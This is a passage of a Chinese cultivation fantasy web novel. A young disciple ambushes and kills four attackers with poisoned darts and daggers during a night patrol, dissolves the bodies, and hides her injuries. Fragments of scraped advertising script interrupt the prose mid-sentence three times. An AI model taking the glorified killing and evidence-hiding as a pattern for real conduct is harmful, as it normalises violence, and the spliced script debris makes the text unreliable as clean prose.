孟莘回头一看,摆摊的那位师姐面前是满满的符咒。 她沉吟片刻,也对,她虽然自己还画不了,但是买现成的符咒也可以的。 “神行符什么效果?” 师姐笑眯眯介绍,“瞬间增速,贴上就能让人像箭一样飞射出去,不过不像你刚才看上的那双轻云履,神行符还是需要一点灵力催动的,能催动多久看境界高低。” 孟莘留了个心眼,问:“筑基期能催动多久?” 师姐回忆了一下:“筑基一级差不多十息,筑基九级二十息。” 孟莘思考了一下,最后买了十张神行符和五张烟雾符。 买完这些,她的芥子囊里还剩下八千多灵石,她没再多买,吃了一粒补气丸,恢复了不少体力以后,就下山去食堂干活去了。 * 次日,经法课上。 孟莘正在吸收灵力,薛长老气急败坏地把她从入定状态里叫醒。 “孟莘,你这是在做什么?”薛长老表情严肃极了。 “呃,”孟莘有点摸不着头脑,“在修炼啊。” 薛长老板着脸,指着她手里握着的东西,“我说的是,你怎么这么修炼?” 全部弟子的目光都集中在了孟莘身上,只见她手里赫然握着几块灵石。 孟莘心里有点心虚,但是面上却不能不理直气壮,“用灵石吸收灵气,难道不行吗?” 薛长老气炸,行当然是行,事实上修真界里那些豪族子弟,直接用灵石来灌也是常事,但他一个玄明境高手来教他们入门功法,就是为了训练他们自主吸收天地灵气的能力。她要用灵石,什么时候不行,非得在他的课上? 薛长老撂下狠话:“好,你就走这种旁门左道吧,修炼初期不打好底子,我看你将来怎么后悔!” 12. 第 12 章 孟莘看着薛长老气冲冲走掉的背影,悄声嘀咕了一句,“唉,幸好他不知道我其实还吃了补灵丹。” 她总不能说,她要是这几天不想办法提高,也就谈不上未来基础不基础的事情了,她干脆就没有未来了。 众同门看她的眼神都充满鄙夷,好像她是玷污了修士荣誉的垃圾,唯有许子墨和彭笑寒依然如故。 许子墨甚至还打趣了一句:“前天连饭都吃不起的人,今天都开始用灵石来修炼了,你这暴发户模样赶紧收收。” 这话是真的戳到了孟莘痛处,她抚着芥子囊苦笑:“你别说,等我把这批灵石用完,就又快吃不起饭了。” 许子墨这反应她不奇怪,人精嘛,有什么不能接受的,不过她倒是很好奇彭笑寒的态度,朋友滤镜竟然恐怖如斯,能让一个严肃认真的人接受走捷径? 彭笑寒只是淡淡道:“我以前怀疑你,是因为你没有修为,我怕你没有经验走了歪路,不过现在我知道你很清醒,你这么做一定有不得不这么做的理由。” 孟莘:“......” 这滤镜确实恐怖如斯。 她的光辉事迹很快就传到了剑术课长老邵鸿轩耳朵里,他看她的眼神更加不善,一上课,其他人照常是一千下,唯有她,被邵鸿轩单拎出来。 “孟莘,两千下。” 有了补气丹以后,孟莘丝毫不慌,两千下就两千下,吃完药又是一条重新活过来的孟莘。 哪怕是在挥剑的时候,她也在身上揣了几块灵石,顶着邵鸿轩能杀人的目光,一边挥剑一边吸收灵气,强大的精神力能支持她一心二用。 如此内外加持下,当晚,她在给最后一家店刻铭文时,成功突破了炼气三级。 店家是普通人,察觉不到灵力变化,只是奇怪地挠头,“怎么感觉我的好像比其他家的更好用一点。” 孟莘也没解释是自己有了灵力,只是笑笑:“熟能生巧。” 食堂里的订单这就全部完成了,她在那个杂物间度过了最后一夜,自然没有忘记练习一下峨眉刺和袖箭的使用。 再次精疲力尽躺倒在床上以后,她长长呼出一口气,感受着炼气三级的识海,轻声喃喃:“希望来得及吧。” * 次日一早,她告别了这间短暂借宿的小屋,正想着今晚该找个什么地方躲着,就看到了彭笑寒和一个陌生师姐迎面走来。 “这位师姐说有事要通知你,我就带她过来了。”彭笑寒解释。 “你就是孟莘?”师姐翻开夹在腋下的册子,递给她看,“我是戒律堂的人,你在外门的巡逻执勤安排下来了,就在今晚,丑时到卯时,秋霜林。” 孟莘一愣,心里突然窜起一阵不妙的预感。 彭笑寒半晌才想起,他们在外门还有巡逻任务,她皱起眉,“师姐,她身体弱修为也低,秋霜林很偏僻,那个时间她巡逻恐怕不安全。我是哪天执勤?把我跟她换一下吧。” 师姐板着脸,“不行,安排到什么时候就是什么时候,不能私自交换,更不能替人,否则一经发现,就禀报薛长老处理。” 就沧溟派外门这个踩低拜高、仗势欺人的糟糕环境,说这里的规矩严格到连执勤都不能交换,那真是让人笑掉大牙。 孟莘目光从师姐不容通融的脸上掠过,那阵不妙的预感落到了实处。这次巡逻,恐怕就是那几个凶手摆下的鸿门宴。 彭笑寒还想再争辩几句,被孟莘拉住了。 孟莘乖顺地笑了一下,“知道了,师姐。” 把那位戒律堂师姐送走以后,彭笑寒忧心忡忡地看着她:“你真的行吗?要不我今晚陪你一起去好了。” 孟莘虽然最初有些意外,但很快就冷静下来。 这一刀早晚要落下来,让她躲了三天积攒反击的底牌,已经算得上运气好了,既然他们亮出了屠刀,与其抱头逃窜,不如迎头反击。 心中转瞬掠过几个念头,她已决定了今晚要做什么。 只不过,她决不能让任何人察觉到不对劲。 她若无其事地用好笑的语气看着彭笑寒:“你以为这里是什么地方?这可是沧溟派啊,巡逻也只是以防万一,如果沧溟派上都能出事,这世上就没有安全的地方了。” 这话说得她自己都想吐,但成功安抚到了彭笑寒,彭笑寒呆了一下便点点头:“也是,沧溟派门规森严,和其他地方不同。” 孟莘顿觉心情复杂,默默哀叹了一声,怜爱地揉了下彭笑寒的头发,“走吧,该去听课了。” * 孟莘昨天惹恼了薛长老和邵长老,今日干脆一点也不顾忌了。 薛长老的课上,上面在讲课,她就在下面明目张胆地炼化灵石,薛长老看她的目光宛如看着一个死人。 剑术课上,邵鸿轩今天还想再给她加码,但她挥完一千下,就堂而皇之地把剑放下。 看到邵鸿轩气得腮帮子都鼓起来了,孟莘只好抬出了戒律堂,“抱歉,邵长老,今晚戒律堂安排我执勤,我得保留点体力,要不然,您去帮我巡逻?” 校场上霎时鸦雀无声,只有邵鸿轩身上玄明境的可怖灵力疯狂暴涨。 在场所有炼气级筑基级的小弟子们根本扛不住这种威亚,几乎喘不过气来。 被邵鸿轩针对的孟莘,更是觉得如有千斤的重物压在了自己身上。 她没出息地直接坐倒在了地上,但还是硬着头皮嘴贫了:“根据沧溟派门规,您杀了我得给我偿命,当然您是长老,我只是刚入门的小弟子,可能用不着偿吧。” 邵鸿轩嘴角紧绷,绷成了仿佛能从他脸上划出去的一条直线,最终怒到极点,他竟反而笑了起来。 邵鸿轩的威压消弭于无形,连他惯常的凶话都不说了,和和气气地看着她:“我的课庙小,容不下您这尊大佛,你走吧,去哪无所谓,反正别来我这课就行了。” 孟莘:“......” 孟莘站起来拍拍衣服,对邵鸿轩拱手行了一礼,然后在所有同门的惊悚目光中真走了。 她走出老远,确认邵鸿轩听不见以后,才苦笑着叹了口气,“没想到这种暴脾气的轴人都快被我气疯了,没办法,谁让我也快被逼疯了,总得找地方泄 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 泄压吧。” 孟莘找到了一片清幽无人的树林,将自己购来的东西从芥子囊中取出,一一摆在地上。 她的目光将这些物品一一扫过,所有无关今夜的思绪都被排除出了脑海,此时她已经完全冷静了下来。 距离丑时还有不到四个时辰,四个时辰......她能做的还有什么? ...... 距离丑时还有一刻,孟莘从入定中缓缓睁眼。 之前挣来的一万五灵石此时已经一颗不剩,耗费之巨令人咂舌,但是效果却也显著。 两天,炼气五级! 现在还有最后一件需要确认的事情。 她拿出一张神行符,贴在自己身上,催动了灵力,身体立刻不受控制地飞出,风从耳边呼啸而过,她适应了一下才学会控制身体。 停下来以后,她若有所思地喃喃:“原来炼气五级能催动一张神行符的时间是这样......不,应该是......” 孟莘眸中掠过一抹沉思,随后把其他东西装回芥子囊,袖箭佩在右臂,一对峨眉刺也藏进袖中,符纸放在最容易摸到的腰间。 收拾妥当,她最后看了一眼这个地方。 这里不见人烟、灵气充裕、风景绝佳,她通过令牌查了一下,这儿叫紫竹林。 “如果今晚能活下来,以后偶尔可以到这边,来干点不太能见人的事。” * 孟莘卡着时间抵达秋霜林。 交班的师姐把可以照明的蓝晶石交给她,看她修为低,又一脸凝重的样子,还安慰了她一句,“别怕,沧溟派的树林里没什么野兽,我都巡逻过了。” 孟莘笑着谢过,心里却想着,人比野兽可可怕多了。 告别了师姐以后,她捏着蓝晶石,往秋霜林深处走去。 数丈高的枫树林遮挡住了大片天空,月亮虽圆,但被遮天蔽日的茂密枝叶层层拦下,几乎透不出什么光亮,身前身后都仿佛纯黑的死地,只有她身周笼罩着两丈左右的幽蓝光圈。 如师姐所言,秋霜林里没有野兽的声音,听上去只有并不明显的虫鸣和风过树林的哗哗声。 但孟莘的精神力却依然可以捕捉到,在树叶翻飞中,夹杂着某些微小的、不寻常的动静。 她一连倒出两枚补气丸吃下,充沛了体力,回忆起她花钱跟外门弟子买来的情报。 那五个凶手,以范济修为最高,已到了筑基一级,但他被祝雁灵罚去了禁闭室。 剩下的高矮胖瘦四人都还在炼气境。 其中,胖子怠惰因循四体不勤,只有炼气六级;高个心高气傲眼高手低、矮个畏畏缩缩胆小怕事,都是炼气七级;瘦子最难对付,揣奸把猾诡计多端,已达炼气八级。 一个六级、两个七级、一个八级,都比她的修为高。 孟莘神色如常地向前走去,耳朵准确捕捉到在她调动下四人的轻微声响。 突然,蓝晶石被她扔进芥子囊,在骤然降临的黑暗中,她神行符贴上,足尖点地飞射而出! 这场以一敌四之战,由她率先打响! 13. 第 13 章 孟莘深知,人的个性会渗透进行事作风里,况且这四人以四打一,打的还是她这种刚入门几天、身体孱弱、修为低下的菜鸟。 他们在心理上占据着绝对优势,不可能谨慎到掩盖自己的特质。 她的精神力捕捉到,左侧位行动迟缓、亦步亦趋,必然是那个畏缩胆小、走一步看一步的矮个。 神行符加持,仅仅五息,孟莘在巨大冲力下飞抵一丈高的树干,和矮个正面相迎,她左手峨眉刺刺向矮个脖间! 她动手毫无征兆,矮个猝不及防,外加他原本就性格懦弱,想不起还击只慌忙闪躲,双臂横在脖前去抵挡。 却不想峨眉刺只是虚晃一招,两支袖箭从孟莘右袖中飞出,噗嗤两声,分别射中他空出来的心胸。 “啊啊啊啊!”矮个大声痛呼,瞬间瞪大了双眼,原本修士体魄远胜凡人,两支袖箭要不了他的命,但伤处却传来惊人剧痛,他身体麻痹失去控制,直直向后从树上栽倒下去。 袖箭淬了毒! 孟莘根本顾不上查看矮个下场,神行符给予的速度消失,她在巨大惯性下飞扑出去,蜷起身体翻滚卸掉了大部分冲力,却还是狠狠撞在了树干上。 疼痛让她脑中一白。 她是个机甲师,一直都避免陷入斗争,专心搞自己的研究,哪里经受过这种痛苦?连上辈子的死刑都是快速毙命的注射剂。 可再痛苦又如何?如果不能承受痛苦,那就只有被杀死! 她咬牙生抗下来,一刻也不敢停顿,神行符再次贴上,飞射至右前方。 那里的人吐息最浑浊、脚步沉闷笨重,必然是那个怠惰懒散的胖子! 从孟莘突然行动毒翻矮个到现在,一共只过去了短短十三息,伸手不见五指的漆黑天地,把方才过去的那一幕完全隐藏。 胖子只听到了破风声和矮个的痛苦尖叫,迟钝的胖子沉浸在莫名其妙中,等孟莘杀到眼前,他才明白这是发生了什么。 “怎么会!”胖子慌张想要用灵力攻击孟莘,但来不及了。 贴着神行符的孟莘,以他目光难以捕捉的速度抱住了他的脑袋,狠狠往后一拧,两人重重地坠落下去。 孟莘用胖子垫背,没怎么摔伤,也没空确认胖子死活,峨眉刺直接划破胖子脖颈,温热的血流喷射到她脸上。 从开始到现在,不过二十息,炼气七级的矮个和炼气六级的胖子,一废一死,形势陡然一转! 孟莘面无表情地飞快再抽一张神行符,趁高个和瘦子赶到前,急速向后退去。 这时候高个和瘦子要是还没明白发生了什么,那他们的脑子也就白长了。 高个飞奔到胖子身边,点起火石查看胖子伤口,确认胖子已经回天乏术以后,怒不可遏地望向了孟莘逃走的方向:“畜生!我要你偿命!”。 瘦子蹲下来看过矮个伤口,暂时还死不了,但事出突然,他们并没有带解毒药,只能喂了几颗补气丸先续着命,“你先撑一会,等我们宰了那厮就带去你药阁救命。” 高瘦二人会和,高个皱紧眉头,“她有神行符,我们恐怕追不上了,要不直接去她住处堵人?” 瘦子盯着树林深处,摇了摇头,目光阴狠,“神行符虽快,但价格昂贵,她一个山下跑堂的伙计,我不信她有数不尽的神行符可用,况且我已经数过,她每次只能催动神行符五息,逃不了多远,你我左右包抄,定能把她瓮中捉鳖!” 高个看着这密密麻麻的树林,头皮发麻,“这地方太大了,我们两个人,两个时辰,只怕搜不完吧。” 瘦子对高个已经无语了:“我不管她是怎么做到几天之内提升到这地步的,但是催动神行符五息,她的修为不会超过炼气五级,杀伤两个比她级别更高的人,她不可能毫发无伤,更何况还有朱师弟的血,我们搜查时注意血腥气,自然不会错过。” * 孟莘又抓了两粒补气丸下肚,缓解了身体疲惫,她身上肯定已经淤伤一片,但只能强忍着,更没去查看,这时候看了也没用,反而让自己更焦虑。 她藏身在一棵巨树之后,并未继续逃跑,而是以逸待劳,精神力全开,敏锐地注意着周围的动静,她的精神力损耗相当之巨,务求速战速决。 不多时,她耳朵轻轻一动,察觉到了一个放肆的大踏步声。 不用说,自然是那个傲慢的高个,不管到什么时候都不懂得收敛。不像瘦子,从一开始,瘦子的动静就是最难捕捉的。 孟莘嘴角一勾,等的就是他! 她朝高个所在位置摸了过去。 没有神行符加持,她的动作并不隐蔽,外加身上沾染的血腥,很快就被高个察觉到。 “小畜生!被我抓住了吧!”高个大喜,大喝一声就冲孟莘追去。 只见那少女一身衣服都被血染得斑驳不堪,形容狼狈,一见他的面就白了脸,惊慌失措地掏出符咒就要逃窜,却把神行符拿成了烟雾符,扔出了一片白烟。 高个此刻已经离孟莘极近,烟雾对他没什么作用,他眯起眼睛朝孟莘扑去,却在就要抓住她的下一息,被她用神行符逃了出去。 不过短短五息而已,高个不以为意,大笑着:“五息的神行符,够你逃到哪里?” 而后拔足追了上去。 远处的瘦子已经听到了动静,却并未像高个一样欢喜,而是隐隐觉得不妙。 他们原本的计划是两边合围把孟莘瓮中捉鳖,可现在,高个被近在咫尺的诱惑勾走,离他越来越远了,这究竟是那妮子慌不择路误打误撞,还是她故意为之呢? 瘦子心中越发不安,足下提速狂奔,一边高声传音:“冯志快停下!小心陷阱!等我会和再说!” 然而高个又哪里还听得见? 他再次追上了孟莘,灵力催动,一招黑虎拳生生将一棵枫树打断,倒下去的树干果不其然拦住了孟莘去路。 孟莘差点被树干砸中,往后躲却被石头绊倒,她几乎是立刻跃起就想掏神行符。 但就这耽误的一小会功夫,高个已杀至近旁,扼住孟莘的脖子,朝地面狠狠砸了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下去。 炼气七级的实力砸下去,孟莘实打实地被摔得口吐鲜血、眼冒金星,痛感过度强烈,她几乎感觉不到后背的存在。 高个右手掐着她的脖子,膝盖压住她的胸膛,他啐了一口:“小畜生,逃啊!有本事你倒是逃啊!看老子不扒了你的皮!” 少女被掐住喉咙,呼吸困难,双腿乱蹬,脸上憋得一片通红,艰难地挤出几个断断续续的字,“饶、饶......命......” 她细细的胳膊伸出来,想把他的手扳开似的。 “哼!”高个鼻腔里挤出一道冷哼,“现在想求饶,晚了!我不把你砸个稀巴烂我就不姓冯!” 他身子半弓,左手已经捏成了一个拳头蓄势待发,然而就在这时,他看到少女袖中寒光一闪。 袖箭! 他脑中根本来不及思考,只凭本能侧头去躲,以袖箭的速度和炼气七级的敏锐,他不可能躲不掉。 “噗嗤!” 袖箭正中眉心,麻痹感从伤口传来,他瞬间失去了身体控制力,向前栽倒下去,重力让袖箭直接捅穿了他的大脑。 怎么可能?这怎么可能?他一个炼气七级,怎么可能被一个炼气五级的废物反杀呢? 高个愤怒又不甘,而最后的意识,清清楚楚地看到,那支他本该躲开的袖箭上,贴着一张神行符。 一箭毙命! 孟莘推开高个的尸体,用手撑着爬起来,立刻吞下两枚补气丸。 这次她没再跑,而是坐在原地,喘息着缓解痛苦。 不多时,瘦子就赶到了现场,他被烟雾符干扰,来迟一步。 哪怕他早有预感,却还是被这横尸在地的惨烈场面震惊到。 而做出这一切的那个少女,没有任何仪态地坐在倒地的树干上,浴血的衣袍破破烂烂挂着,头发早就凌乱不堪,几缕发丝被不知道是谁的血沾在脸上。 她微眯着眼,静静等着他的走近。 从那张狼狈面容上已经看不出任何美丽,只剩下触目惊心的冷酷残忍。 瘦子再也无法用从前看待孤苦少女、贫穷跑堂、孱弱弟子的目光继续看待她,他脸上是连他自己都想象不到的警惕和微不可查的恐惧。 “你怎么不逃了?”他听到自己梦游一样问。 这一晚上发生的一切都超出了他的预料,他们四个修为更高的修士,就这么被一个刚入门几天的小姑娘杀得只剩他一个还能动的? 孟莘托着下巴,轻轻笑了:“为什么要逃?你和他们又不一样,你很聪明,不会为了报仇之类的愚蠢理由拼命的,不是吗?” 瘦子背在身后的手指轻轻蜷了蜷,他缓缓吐出一口气,直视她的眼睛:“你说的没错,比起为朋友冲冠一怒,我还是更喜欢独善其身,更何况我和他们也算不上朋友。” 孟莘脸上笑意更浓:“那为什么我们不能谈一谈,就当今天的事情没发生过,从此以后桥归桥路归路?我们有什么非得你死我活的理由吗?我想你已经猜到了,我又不是梁如安。” 14. 第 14 章 瘦子心中大惊,其实从今晚她杀第一个人开始,他就觉得这不可能是梁如安能做出的事,人在短短几天是不会有这种翻天覆地的变化的。 而她的承认,让他的怀疑得到了证实,梁如安的壳子里,根本就是另一个人! 如果孟莘不是梁如安,如果瘦子不打算为其他三人报仇,那他们两当然没有死仇。 瘦子垂眸沉思片刻,随后点点头:“好,我答应这笔交易,我不认识你,我也从没来过秋霜林。” “你考虑得真快,”孟莘挑了下眉,笑眯眯伸出右手,“那,握手言和一下?” 瘦子目光在她那只沾着血的手上停了片刻,随后也伸出自己的右手,慢慢走近。 就在他们的手要碰到的前一刻,瘦子变手为爪朝孟莘抓去,而孟莘也同时催动了神行符,左手峨眉刺借着神行符的冲力刺向瘦子。 二人错身而过,谁的偷袭都没得手。 孟莘停在树上,回身看着瘦子,脸上露出惋惜神色,“没想到你还挺有义气,失策了。” 瘦子冷冷笑道:“报仇对我没有任何意义,只不过我对待仇人,向来只有一个选择,那就是斩草除根!” 他语毕,足尖点地冲孟莘而去。 孟莘再贴一张神行符,向秋霜林外逃去。 瘦子眼尖地预测出她的逃窜方向,同时算好了神行符五息能到的距离,拔足抄近道预备在那个落点堵住孟莘。 神行符虽好用,但也有自己的缺陷,其中之一,就是在用完的那一刻,身体无法适应骤然消失的外力,难以瞬间做出反应,更不可能无缝接下一张神行符,是个可乘之机! 他和其他三人可不一样,他有脑子,也知道如何用脑力胜过对手。 那三个只知道用修为硬莽的蠢货,被孟莘钻了空子弄死了也是活该。 一息、二息、三息、四息—— 神行符的落点已至,瘦子炼气八级的灵力凝气到拳,带着可怕的风力朝孟莘砸去,务求一击毙命,不给她任何喘息之机。 五息! 拳至! 然而拳风到来之前,孟莘足尖点上树干借力回旋,神行符竟然催动了第六息! 她瞬息杀至瘦子身后,双手峨眉刺同时砍向瘦子后脖颈。 虽然和这种畜生的思维一致很恶心,但孟莘在这件事上确实和瘦子想得一模一样——对付仇人,斩草除根。 峨眉刺上自然也淬了毒。 瘦子先是扑空来不及回身,接着毒素侵入血液,他骤然失力,狠狠摔到地上。 但他再也顾不上考虑疼痛了。 他僵硬的目光惊恐地看着从地上爬起来、慢慢朝他走来的孟莘,不敢置信:“怎么会?我怎么可能算错?那就是神行符的第五息,你怎么可能还继续动下去?!!” 孟莘笑了,双手举起峨眉刺狠狠朝他心脏扎下去,幽幽解答了他人生中最后一个疑问。 “因为神行符只能用五息,这从一开始,就是我专门为你准备的陷阱啊。” 矮子懦弱、胖子迟缓,这两人的存在就是他们之中的最大缺点,速战速决将他们解决,将大大减少她面对的压力。 高个心高气傲,诱敌深入再示敌以弱,就能抓住高个放松警惕的空隙偷袭。 唯独瘦子精明异常,这些小计谋在他面前都起不到作用。 可瘦子却没有想过,他最大的长处也可以成为他最大的弱点。 从战斗一打响,孟莘就刻意只维持五息的神行符,瘦子心思细密,不会错过战斗中的任何信息,反而落入了她设下的陷阱。 这可是她用八千多灵石才填到炼气五级的识海大小,当然要比寻常的炼气五级更浑厚,因此可以催动神行符第六息。 单论灵气实力,她当然打不过他们,可这不是比较数量大小的游戏,而是真实的战场。 细致的情报、周密的准备、精准的执行,都可以成功扭转局势。 以弱胜强、以一敌四,活下来的是她! 孟莘终于卸下了这个心腹大患,脱力地滑倒在了地上。她没忘再吃两粒补气丸恢复体力,但是精神力的透支却是让她难以驱散疲惫。 凶手用的火石已经熄灭了,她也没有取出蓝晶石照明。 只静静地在无边的黑夜里喘息。 好想就这么睡过去啊。 但是不行,她得在卯时交班前,收拾完残局,让自己看起来一如往常。 她咬牙重新爬起来,用化尸水把瘦子和高个的尸体融了,又用泥土掩盖住了血迹,然后再回到一开始战斗的地方。 没想到矮个竟然还活着,孟莘惊讶地给他补了一记峨眉刺,然后把他和胖子也融了。 掩盖完作案现场,她用芥子囊里带的水清洗了一下自己,换了一身干净的衣服。 再望向秋霜林时,沧溟山的风已经将残存的血腥气吹得一干二净,再也无从指控今夜发生的血腥争斗。 她放下心,去同下一个巡逻的同门交班。 这时的孟莘还不知道,由于她对修真世界不够了解,所以百密一疏,还是留下了一个大破绽。 * 孟莘早上是被彭笑寒叫醒的,说来好笑,这竟然是她入门以来,第一次睡在这屋。 “你脸色怎么这么差?”彭笑寒探了一下她的额头,“好像有点发热。” 孟莘勉强地笑了一下,“这几天每天都挥剑,挥得快累死,昨晚大半夜的,在秋霜林吹了两个时辰冷风,也很难不虚弱吧。” 其实是她身上受的伤太疼,连睡觉也睡不安稳。 补气丹对疗伤收效甚微,看来她得尽快想个办法,否则早晚被人看出端倪。 上午的经法课,薛长老开始讲授符法,原本这是孟莘不会错过的内容,但她听了一会,发现他讲的都是入门内容。 于是孟莘干脆自行运转起《无相吟》吸纳灵气,她昨晚把识海也搞枯竭了,得尽快恢复。 薛长老再次准确无误地在所有弟子中抓住了那个异类,一看又是孟莘,他气得鼻子都快歪了。 讲功法时她只顾着炼化灵石,这会她倒是知道自行修炼了,但这是符法课。 说她不是跟自己对着干, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 薛长老是不信的,他压抑着怒火,手指隔空弹出一指灵气,清脆地点上孟莘额头,冷哼道:“孟莘,我刚才讲的那个符文听明白了吗?” 孟莘在入定中突然被打醒,懵然地捂着自己的脑袋。符文,什么符文? 旁边坐的彭笑寒低声提醒:“避水符。” 避水符啊,这个简单。 孟莘点点头,她在符法这块拥有绝对的自信,“当然明白,需要的话我现在就能画出来。” 讲堂内顿时充满此起彼伏的笑声。 如果符法是这么好学的东西,那顶尖符修和器修就不会成为各大宗门的座上宾了。 而她一个识海三星刚入门的家伙,第一堂符法课就敢说自己能画了? 连两个六星和两位五星都不敢这么自夸! 薛长老再次被气笑,他看得清清楚楚,这家伙从上课开始,就没醒过多长时间,结果她不但不听讲,还信口雌黄说自己能画? 那他就不能不满足她这个不自量力的海口了:“那好,你上来,画给我看。” 孟莘淡定地走上去,接过薛长老递的笔,提笔就画。 避水符这种东西,她不是信手拈来? 杜雨兰、杜景辉骄矜地昂起下巴,等着看孟莘出丑。 那天许子墨拒绝他们,让这两人对孟莘更是记恨,难得有这种自己不出手,就能把她踩在脚下的机会,自然不能错过。 唯有许子墨和彭笑寒知道孟莘精通符法,期待地等着她露一手,惊艳一下所有人。 只见少女下笔时毫无滞涩,姿态娴熟自如,薛长老脸上的表情渐渐认真起来。 然而下一息。 “噗!”一口血突然从少女口鼻涌出,喷到了她面前的纸上。 “!!!” 彭笑寒许子墨蹭一下站起来奔上台,一个上手扶一个递手帕。 两人都吓得够呛,以为她突发了什么恶疾,已经想带她去药阁看看了。 孟莘连忙摆摆手稳住了他们。 她方才脑袋突然针扎一样疼,等慌忙堵住口鼻鲜血,才后知后觉地意识到—— 淦! 忘了今天精神力和灵力都透支了! 薛长老本来看她起势的那一笔,还以为他遇到了一个天赋非凡的符法弟子,结果只是空期待一场,他冷笑一声:“她就是身体支撑不了符文,没别的大事,下去吧,以后上课就好好听课,别说这种大话了!” 孟莘哭笑不得,万万想不到,有一天她会在符法上被人当做说大话。 只能摇摇头当着众弟子们奚落的目光回到了位置。 杜雨兰和杜景辉通体舒泰,得意地望向许子墨,想从他脸上看出点后悔的痕迹。 看吧,你看重的就是这样的废物啊。 但许子墨根本没注意到他们的视线,他的脸色无端得很有些严肃。 他扔了个纸团给孟莘。 孟莘有点莫名其妙,捡起打开,上面赫然是:“这不可能是练剑和巡逻造成的毛病吧?” 孟莘嘶了一声,人精就是这么不容易糊弄啊。 15. 第 15 章 孟莘没有多此一举地编造理由,一来他们关系不错,二来容易弄巧成拙。 她只是回了一句:“下午就是了。” 许子墨收到这莫名其妙的回复,愣是没明白她什么意思。 下午剑术课,邵长老一看队伍最后的孟莘,霎时气笑了,“你不是很能耐吗,我这小庙不是站不下你这尊大佛吗?你还来干嘛?” 孟莘摸了摸后脑,没想到邵鸿轩这人还没放下昨天那句狠话,她心虚但继续嘴贫:“因为我们这一批弟子就是被分给您教导啊,隔壁的汪长老人美心善还温柔,我倒是想去人家那边,可惜人家不要啊,要么您帮我去说和说和?” 邵鸿轩脸上隐含的愤怒就快把火星子溅出来了,但最后硬是压抑了下去,只是露出了一抹冷笑。 “好,你不走是吧,今天正好该教导你们对战技巧,我需要一个人上来跟我做个演示——” 孟莘面上睫毛微颤,但心中却是一喜,等的就是他气不过想动手! “彭笑寒,你上来。” 孟莘:“......啊?” 这个峰回路转是她没想到的。 邵鸿轩对众弟子说:“她是你们这批弟子中,身手最出色的,待会她攻我守,你们仔细看她的动作,看看她是怎么作战的!” 他又转向彭笑寒:“弟子之间对战必须用木剑,但是对付我,你可以用你那把重剑。” 彭笑寒眼睛一亮,兴奋地喊了声:“是!” 随后她朝邵鸿轩拱手行了一礼,屏气凝神,手腕一拧,拖着那柄重剑朝邵鸿轩攻去。 哪怕在所有弟子中,彭笑寒的体型都算得上最娇小玲珑的,更衬得那把重剑是何等庞然大物,彭笑寒虽无法将那柄剑用得如臂所指,却也总能出其不意挥出一剑。 那样凶狠可怕的剑风,让所有弟子都感到有些胆寒,但她面对的是邵鸿轩。 无论她如何进攻,都没能沾到邵鸿轩的身体,最后自己累得气喘吁吁。 “好了,到此为止。”邵鸿轩单手向外,止住了彭笑寒不甘心想再攻过来的身影,“你已经做得相当出色了,这柄剑虽然厉害,却不适合你,如果你换把武器,剑术还能更上一层楼。” 彭笑寒一时怔住,眸中闪过一丝黯然。 邵鸿轩又望向众弟子:“你们也看到了,一攻一守,这样攻方能训练自己的技艺,守方也能看出攻击的缺陷,然后反思己身。接下来,你们便两两对战,交换攻守。” 众弟子们纷纷开始寻找自己相熟的人,孟莘心中掠过一丝不妙的预感。 果然,许子墨虽然念叨着“那看来还是咱们两非战斗人士抱个团吧”,但在他走过来之前,邵鸿轩已经先一步开口:“杜雨兰,你作为五星,去指点一下孟莘。” 杜雨兰先是愣了一下,随后立刻答应:“是!” 孟莘霎时睁圆了眼,看看冷笑的邵鸿轩,再看看不怀好意的杜雨兰,哭笑不得。 真是常在河边走哪有不湿鞋...... 原本她想激怒邵鸿轩,他一个玄明境高手,在他手下装模作样抗几个回合,自己这身伤就有的赖了。 可如果上的是炼气八级的杜雨兰,她就不能不吃些苦头了。 事已至此,她闭上眼深吸了一口气,随后同杜雨兰拱手一礼:“那就请杜姑娘不吝赐教了。” 杜雨兰也规规矩矩地行了一礼,“也请孟师妹多多指教。” 第一轮是孟莘攻,杜雨兰守。 别说孟莘完好无损时都不可能打得过杜雨兰,她现在一身淤伤,进攻这种大开大合的动作,痛得她光是伪装正常就已经很费力了,一轮攻完,更是连杜雨兰的衣角都没碰到。 杜雨兰脸上闪过一丝果不其然的愉悦,笑道:“看来孟师妹是手下留情了,这样于修行无益,下一轮我不会留手,也希望孟师妹能认真对待。” 孟莘呵呵一笑:“我留没留情你不是再清楚不过了吗?” 第一回合,杜雨兰果然没留手,孟莘狼狈闪躲,左肩狠狠挨了一木剑。 第二回合,孟莘直接被杜雨兰挑到了地上。 彭笑寒和许子墨组了队,看此情景都停了下来,彭笑寒实在看不下去了,想过去阻止,“这根本算不上练习,是单方面虐打!” “别去,课上指点出不了大事,技不如人愿赌服输,你还能一辈子护着她吗?” 许子墨伸手拦住了彭笑寒,他眼中已经有了一丝了然,原来孟莘说“下午就是了”是指这个,她对自己下手可真狠啊。 他看着孟莘摔在地上的那个力道,自己狠狠打了个寒颤。 最后一回合,孟莘被杜雨兰挑翻以后,没再爬起来。 杜雨兰光明正大地在孟莘这边泄了愤,正是心情舒畅的时候:“孟师妹,该轮到你了。” 孟莘没动,已经人事不知。 杜雨兰:“!!!” 我就炼气八级而已!打你一个炼气五级,还是木剑,不至于吧! 邵鸿轩:“!!!” 她就一个炼气八级而已!打你一个炼气五级,还是木剑,不至于吧! 两人都惊悚地瞪大了双眼。 而彭笑寒吓到心口一窒,疾步奔上前,试过孟莘鼻息正常以后,才松了口气,但她转头望向杜雨兰的眼神已经充满杀机,“同门对练,你竟然敢下这种死手?” 杜雨兰:“???” 我不是我没有!她虽然确实存了教训孟莘让她出丑的心思,但又不是真的对敌,不至于使出全力,而且他们之间的境界差距没那么大吧? 还是说......她是个连自己也没发现的剑术天才,出手便有雷霆万钧之力? 杜雨兰看着自己的双手,陷入了深深的思考。 许子墨缓步踱过去,指着孟莘衣服蹭起露出的半截胳膊,上面有一大片紫青的淤痕,惊讶地大叫:“看孟莘这身伤,恐怕没个十天半月都下不了床,杜师妹、邵长老,她一个才刚刚入门的小弟子,在课上被打成这样,不合适吧?” 杜雨兰这才反应来过,这是要讹上她了呀? “她肯定是装的,不干我的事!” 